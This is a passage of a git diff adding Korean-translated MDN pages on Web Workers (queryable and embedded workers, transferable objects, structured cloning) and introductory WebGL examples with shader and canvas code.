+      this.addListeners = function(name, listener){
+        listeners[name] = listener;
+      }
+
+      this.removeListeners = function(name){
+        delete listeners[name];
+      }
+
+      worker.onmessage = function(event){
+        if (event.data instanceof Object &&
+          event.data.hasOwnProperty("queryMethodListener") &&
+          event.data.hasOwnProperty("queryMethodArguments")){
+          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+        } else {
+          this.defaultListener.call(instance, event.data);
+        }
+      }
+    }
+
+    // your custom "queryable" worker
+    var myTask = new QueryableWorker("my_task.js");
+
+    // your custom "listeners"
+    myTask.addListener("printStuff", function (result) {
+      document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + result + "!"));
+    });
+
+    myTask.addListener("doAlert", function (time, unit) {
+      alert("Worker waited for " + time + " " + unit + " :-)");
+    });
+</script>
+</head>
+<body>
+  <ul>
+    <li><a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
+    <li><a href="javascript:myTask.sendQuery('waitSomeTime');">Wait 3 seconds</a></li>
+    <li><a href="javascript:myTask.terminate();">terminate() the Worker</a></li>
+  </ul>
+</body>
+</html>
+ +

my_task.js (the worker):

+ +
var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomeTime: function () {
+      setTimeout(function() { reply("doAlert", 3, "seconds"); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultReply (message) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply () {
+  if (arguments.length < 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "queryMethodListener": arguments[0], "queryMethodArguments": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("queryMethod") && oEvent.data.hasOwnProperty("queryMethodArguments")) {
+    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
+  } else {
+    defaultReply(oEvent.data);
+  }
+};
+ +

It is possible to switch the content of each mainpage -> worker and worker -> mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in QueryableWorker and the worker.

+ +

Passing data by transferring ownership (transferable objects)

+ +

Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.

+ +
// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i < uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+ +
+

Note: For more information on transferable objects, performance, and feature-detection for this method, read Transferable Objects: Lightning Fast! on HTML5 Rocks.

+
+ +

Embedded workers

+ +

There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a src attribute and has a type attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>MDN Example - Embedded worker</title>
+<script type="text/js-worker">
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  var myVar = "Hello World!";
+  // Rest of your worker code goes here.
+</script>
+<script type="text/javascript">
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+  function pageLog (sMsg) {
+    // Use a fragment: browser will only render/reflow once.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+</script>
+<script type="text/js-worker">
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Rest of your worker code goes here.
+</script>
+<script type="text/javascript">
+  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+
+  // In the past...:
+  // blob builder existed
+  // ...but now we use Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Creating a new document.worker property containing all our "text/js-worker" scripts.
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Start the worker.
+  window.onload = function() { document.worker.postMessage(""); };
+</script>
+</head>
+<body><div id="logDisplay"></div></body>
+</html>
+ +

The embedded worker is now nested into a new custom document.worker property.

+ +

It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:

+ +
function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}
+ +

Further examples

+ +

This section provides further examples of how to use web workers.

+ +

Performing computations in the background

+ +

Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.

+ +

The JavaScript code

+ +

The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.

+ +
var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i <= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };
+ +

The worker sets the property onmessage to a function which will receive messages sent when the worker object's postMessage() is called (note that this differs from defining a global variable of that name, or defining a function with that name. var onmessage and function onmessage will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.

+ +

The HTML code

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8"  />
+    <title>Test threads fibonacci</title>
+  </head>
+  <body>
+
+  <div id="result"></div>
+
+  <script language="javascript">
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  </script>
+  </body>
+</html>
+ +

The web page creates a div element with the ID result , which gets used to display the result, then spawns the worker. After spawning the worker, the onmessage handler is configured to display the results by setting the contents of the div element, and the onerror handler is set to dump the error message.

+ +

Finally, a message is sent to the worker to start it.

+ +

Try this example.

+ +

Performing web I/O in the background

+ +

You can find an example of this in the article Using workers in extensions .

+ +

Dividing tasks among multiple workers

+ +

As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.

+ +

Other types of worker

+ +

In addition to dedicated and shared web workers, there are other types of worker available:

+ + + +

Functions and interfaces available in workers

+ +

You can use most standard JavaScript features inside a web worker, including:

+ + + +

The main thing you can't do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.

+ +
+

Note: For a complete list of functions available to workers, see Functions and interfaces available to workers.

+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#toc-workers')}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers')}}{{Spec2('Web Workers')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2]
Shared workers4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
+ {{CompatNo}} 6.1[4]
Passing data using structured cloning13{{CompatGeckoDesktop(8)}}10.011.56
Passing data using transferable objects17 {{property_prefix("webkit")}}
+ 21
{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Global {{domxref("window.URL", "URL")}}10[3]
+ 23
{{CompatGeckoDesktop(21)}}11156[3]
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44[1]3.51.0.110.011.5[1]5.1[2]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using structured cloning{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using transferable objects{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ +

[1] Chrome and Opera give an error "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." when you try to run a worker locally. It needs to be on a proper domain.

+ +

[2] As of Safari 7.1.2, you can call console.log from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call console.log from inside a worker.

+ +

[3] This feature is implemented prefixed as webkitURL.

+ +

[4] Safari removed SharedWorker support.

+ +

See also

+ + diff --git a/files/ko/web/api/web_workers_api/index.html b/files/ko/web/api/web_workers_api/index.html new file mode 100644 index 0000000000..82f4e11f55 --- /dev/null +++ b/files/ko/web/api/web_workers_api/index.html @@ -0,0 +1,92 @@ +--- +title: Web Workers API +slug: Web/API/Web_Workers_API +tags: + - API + - Overview + - Reference + - Web Workers + - 워커 + - 웹 워커 +translation_of: Web/API/Web_Workers_API +--- +
{{DefaultAPISidebar("Web Workers API")}}
+ +

웹 워커(Web worker)는 스크립트 연산을 웹 어플리케이션의 주 실행 스레드와 분리된 별도의 백그라운드 스레드에서 실행할 수 있는 기술입니다. 웹 워커를 통해 무거운 작업을 분리된 스레드에서 처리하면 주 스레드(보통 UI 스레드)가 멈추거나 느려지지 않고 동작할 수 있습니다.

+ +

웹 워커의 개념과 활용법

+ +

워커는 이름을 지정한 JavaScript 파일을 구동하는 객체로서 {{domxref("Worker.Worker", "Worker()")}} 등의 생성자로 생성합니다. 해당 파일은 현재 {{domxref("window")}}와는 다른 전역 맥락에서 동작하는 워커 스레드에서 작동합니다. 이 때, 전역 맥락은 전용 워커(단일 스크립트에서만 사용하는 워커)의 경우 {{domxref("DedicatedWorkerGlobalScope")}} 객체이고, 공유 워커(여러 스크립트에서 공유하는 워커)의 경우 {{domxref("SharedWorkerGlobalScope")}} 객체입니다.

+ +

원하는 코드는 뭐든 워커 스레드에서 실행할 수 있으나 몇 가지 예외가 존재합니다. 예를 들어 워커에서 DOM을 직접 조작할 수 없고, {{domxref("window")}}의 일부 메서드와 속성은 사용할 수 없습니다. 그러나 WebSocketIndexedDB를 포함한 많은 수의 항목은 사용 가능합니다. 워커에서 사용할 수 있는 함수와 클래스에서 더 자세히 알아보세요.

+ +

워커와 메인 스레드 간의 데이터 교환은 메시지 시스템을 사용합니다. 양측 모두 postMessage() 메서드를 사용해 전송하고, onmessage 이벤트 처리기(메시지는 {{Event("Message")}}의 data 속성에 들어있습니다)를 사용해 수신합니다. 전송하는 데이터는 복사하며 공유하지 않습니다.

+ +

워커 역시 새로운 워커를 생성할 수 있습니다. 단, 생성하려는 워커가 부모 페이지와 동일한 {{glossary("origin", "출처")}}에 호스팅 되어있어야 합니다. 추가로, 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 입출력을 할 수 있지만 responseXMLchannel 특성은 항상 {{jsxref("null")}}을 반환합니다.

+ +

전용 워커 외에도 다음과 같은 다른 유형의 워커도 존재합니다.

+ + + +

웹 워커 인터페이스

+ +
+
{{domxref("AbstractWorker")}}
+
모든 종류의 워커({{domxref("Worker")}}, {{domxref("SharedWorker")}} 등)에 공통적인 속성과 메서드를 추상화합니다.
+
{{domxref("Worker")}}
+
실행 중인 워커 스레드를 나타냅니다. 현재 작동 중인 워커로 메시지를 전송할 때 사용할 수 있습니다.
+
{{domxref("WorkerLocation")}}
+
{{domxref("Worker")}}가 실행하는 스크립트의 절대 위치를 정의합니다.
+
{{domxref("SharedWorker")}}
+
다수의 창, {{htmlelement("iframe")}}, 혹은 다른 워커 등 {{glossary("Browsing context", "브라우징 맥락")}} 여러 개에서 접근할 수 있는 특정 종류의 워커를 나타냅니다.
+
{{domxref("WorkerGlobalScope")}}
+
모든 워커의 통용 범위를 나타냅니다. 통용 범위는 일반적인 웹 콘텐츠의 {{domxref("Window")}}와 같은 역할을 합니다. 각각의 워커 유형별로 이 인터페이스를 상속한 후 보다 세부적인 기능을 추가한 인터페이스를 전역 범위 객체로 사용합니다.
+
{{domxref("DedicatedWorkerGlobalScope")}}
+
{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 전용 워커의 범위를 나타냅니다.
+
{{domxref("SharedWorkerGlobalScope")}}
+
{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 공유 워커의 범위를 나타냅니다.
+
{{domxref("WorkerNavigator")}}
+
사용자 에이전트(클라이언트)의 신분과 상태를 나타냅니다.
+
+ +

예제

+ +

워커의 기본 사용법을 보이는 간단한 데모를 준비해놨습니다.

+ + + +

웹 워커 사용하기에서 데모의 동작법을 자세히 알아볼 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#toc-workers')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..02e4eff883 --- /dev/null +++ b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,153 @@ +--- +title: The structured clone algorithm +slug: Web/API/Web_Workers_API/Structured_clone_algorithm +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

The structured clone 알고리즘은 복잡한 자바스크립트 객체의 직렬화을 위해서 HTML5 specification에 의해서 정의된 새로운 알고리즘 입니다. 이것은 순환그래프를 포함하는 객체의 직렬화를 지원하기 때문에 JSON보다 더 유용합니다. — 객체는 같은 그래프에서 다른객체를 참조하는 객체를 참조할 수 있습니다. 이러한 케이스들에서는 structured clone알고리즘이 아마도 JSON보다 더 효율적일 것입니다.

+ +

 알고리즘은 본질적으로 원본 객체의 모든 필드를 거치고 각 필드의 값들을 새로운 객체로 복제합니다. 만약 필드가 객체를 가졌다면 모든 필드와 그 서브필드가 새로운 객체로 복제될 때 까지 재귀적으로 동작합니다.

+ +

JSON을 넘는 이득

+ +

JSON을 뛰어넘는 structured clone알고리즘의 여러가지 핵심 이득이 있습니다.

+ + + +

structured clones과 함께 동작하지 않는 것들

+ + + +

Supported types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Object typeNotes
All primitive types하지만 심볼들은 포함하지 않습니다.
Boolean object 
String object 
Date 
RegExplastIndex필드는 보존되지 않습니다.
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView이것은 기본적으로 int32Array나 기타같은 typed arrays의 모든것을 의미합니다.
{{ domxref("ImageData") }} 
Array 
Object이것은 그냥 plain객체들을 포함합니다.(e.g. 객체 리터럴)
Map 
Set 
+ +

또 다른 방법 : 깊은 복사(deep copy‎)

+ +

 객체의 깊은 복사(deep copy)를 원한다면(모든 프로토타입 체인과 내포된 속성들 까지도), 또다른 접근방식을 사용해야만 합니다. 아래의 예제를 확인하세요.

+ +
function clone(objectToBeCloned) {
+  // Basis.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filter out special objects.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implement other special objects here.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone each property.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+
+ +
  Note: 이 알고리즘은 실제로 RegExp, Array, 와 Date스페셜 객체들을 구현했습니다. 필요에 따라서 다른 특수한 케이스들을 구현할 수 있습니다.
+ +

See also

+ + diff --git a/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html new file mode 100644 index 0000000000..c79b2f508d --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html @@ -0,0 +1,110 @@ +--- +title: 클릭을 통한 청소 +slug: Web/API/WebGL_API/By_example/Clearing_by_clicking +translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}

+ +
+
+

어떻게 유저와 그래픽 기능들과의 상호작용을 결합시킬까. 유저가 클릭을 할 때 랜덤의 색을 가진 랜더링 컨텍스트를 청소하는 것.

+
+ +

{{EmbedLiveSample("clearing-by-clicking-source",660,425)}}

+ +
+

랜덤 색을 가진 랜더링 컨텍스트를 청소

+ +

이 간단한 예시는 어떻게 유저 인터페이스와 {{Glossary("WebGL")}}를 결합할지에 대한 설명을 제공합니다. 유저가 캔버스 혹은 버튼을 클릭할 때 마다, 캔버스는 랜덤으로 선택된 색으로 초기화됩니다.

+ +

어떻게 내장된 {{Glossary("WebGL")}} 기능이 이벤트 핸들러의 내부를 부르는 지를 주목하세요. 

+
+ +
+
<p>A very simple WebGL program that still shows some color and
+    user interaction.</p>
+<p>You can repeatedly click the empty canvas or the button below
+    to change color.</p>
+<canvas id="canvas-view">Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<button id="color-switcher">Press here to switch color</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // Cleaning after ourselves. The event handler removes
+  // itself, because it only needs to run once.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // Adding the same click event handler to both canvas and
+  // button.
+  var canvas = document.querySelector("#canvas-view");
+  var button = document.querySelector("#color-switcher");
+  canvas.addEventListener("click", switchColor, false);
+  button.addEventListener("click", switchColor, false);
+
+  // A variable to hold the WebGLRenderingContext.
+  var gl;
+
+  // The click event handler.
+  function switchColor () {
+    // Referring to the externally defined gl variable.
+    // If undefined, try to obtain the WebGLRenderingContext.
+    // If failed, alert user of failure.
+    // Otherwise, initialize the drawing buffer (the viewport).
+    if (!gl) {
+      gl = canvas.getContext("webgl")
+        || canvas.getContext("experimental-webgl");
+      if (!gl) {
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+    // Get a random color value using a helper function.
+    var color = getRandomColor();
+    // Set the clear color to the random color.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color. This is
+    // the function call that actually does the drawing.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Random color helper function.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}

diff --git a/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html new file mode 100644 index 0000000000..087a614d5d --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html @@ -0,0 +1,72 @@ +--- +title: WebGL 찾기 +slug: Web/API/WebGL_API/By_example/Detect_WebGL +translation_of: Web/API/WebGL_API/By_example/Detect_WebGL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}

+ +
+
+

이 예시는 어떻게 {{Glossary("WebGL")}} 랜더링 컨텐츠를 찾고, 유저에게 결과를 보고할지를 보여줍니다.

+
+ +

{{EmbedLiveSample("detect-webgl-source",660,150)}}

+ +
+

기능-검색 WebGl

+ +

이 첫 예시에서, 우리는 브라우저가 {{Glossary("WebGL")}}를 지원하는지 아닌 지를 확인합니다. 우리는 {{domxref("HTMLCanvasElement","canvas")}} element로 부터 {{domxref("WebGLRenderingContext","WebGL rendering context","",1)}}을 얻기 위하여 노력합니다. {{domxref("WebGLRenderingContext","WebGL rendering context", "", 1)}}는 당신이 설정하고 그래픽 기계의 상태를 쿼리하고, WebGl에 데이터를 전송하고, 그리기 명령어들을 실행할 수 있는 인터페이스입니다.

+ +

한 문장 인터페이스에서 그래픽 기계의 상태를 저장하는 것은 {{Glossary("WebGL")}}에 고유하지 않습니다. 이것은 또한 다른 그래픽 {̣{Glossary("API")}}, {{domxref("CanvasRenderingContext2D","canvas 2D rendering context", "", 1)}}에 의해 행해집니다. 하지만 특성과 당신이 만드는 변수들은 각 {̣{Glossary("API")}}에서 다를 수 있습니다.

+
+ +
+
<p>[ Here would go the result of WebGL feature detection ]</p>
+<button>Press here to detect WebGLRenderingContext</button>
+
+ +
body {
+  text-align : center;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
// Run everything inside window load event handler, to make sure
+// DOM is fully loaded and styled before trying to manipulate it.
+window.addEventListener("load", function() {
+  var paragraph = document.querySelector("p"),
+    button = document.querySelector("button");
+  // Adding click event handler to button.
+  button.addEventListener("click", detectWebGLContext, false);
+  function detectWebGLContext () {
+    // Create canvas element. The canvas is not added to the
+    // document itself, so it is never displayed in the
+    // browser window.
+    var canvas = document.createElement("canvas");
+    // Get WebGLRenderingContext from canvas element.
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    // Report the result.
+    if (gl && gl instanceof WebGLRenderingContext) {
+      paragraph.innerHTML =
+        "Congratulations! Your browser supports WebGL.";
+    } else {
+      paragraph.innerHTML = "Failed to get WebGL context. "
+        + "Your browser or device may not support WebGL.";
+    }
+  }
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}

diff --git a/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html new file mode 100644 index 0000000000..45541f1a0b --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html @@ -0,0 +1,168 @@ +--- +title: Hello GLSL +slug: Web/API/WebGL_API/By_example/Hello_GLSL +translation_of: Web/API/WebGL_API/By_example/Hello_GLSL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}

+ +
+
+

매우 간단한 색이 있는 단단한 사각형을 그려주는 쉐이더 프로그램

+
+ +
+

Note: 이 예시는 대부분 모든 최신의 데스크탑 브라우저에서 동작합니다. 하지만 어떤 모바일 혹은 낡은 브라우저에서는 동작하지 않습니다. 만약 캔버스가 공백인 상태로 남아있다면, 당신은 정확히 똑같은 것을 그리는 다음 예시의 결과를 확인하실 수 있습니다. 하지만 다음으로 넘어가기 전에, 여기서 설명과 코드를 읽고 가는 것을 기억하세요

+
+ +

{{EmbedLiveSample("hello-glsl-source",660,425)}}

+ +
+

Hello World 프로그램 in GLSL

+ +

매우 간단한 첫 쉐이더 프로그램

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}

diff --git a/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html new file mode 100644 index 0000000000..6d4ad29fe1 --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html @@ -0,0 +1,181 @@ +--- +title: Hello vertex attributes +slug: Web/API/WebGL_API/By_example/Hello_vertex_attributes +translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}

+ +
+
+

쉐이더 프로그래밍과 유저 인터페이스를 정점 속성을 이용하여 합치기.

+
+ +

{{EmbedLiveSample("hello-vertex-attributes-source",660,425)}}

+ +
+

Hello World program in GLSL

+ +

어떻게 GPU 메모리에 데이터를 저장함으로써 쉐이더 프로그램에 입력 값을 넣을 수 있을까? 

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+precision highp float;
+
+attribute float position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+precision mediump float;
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
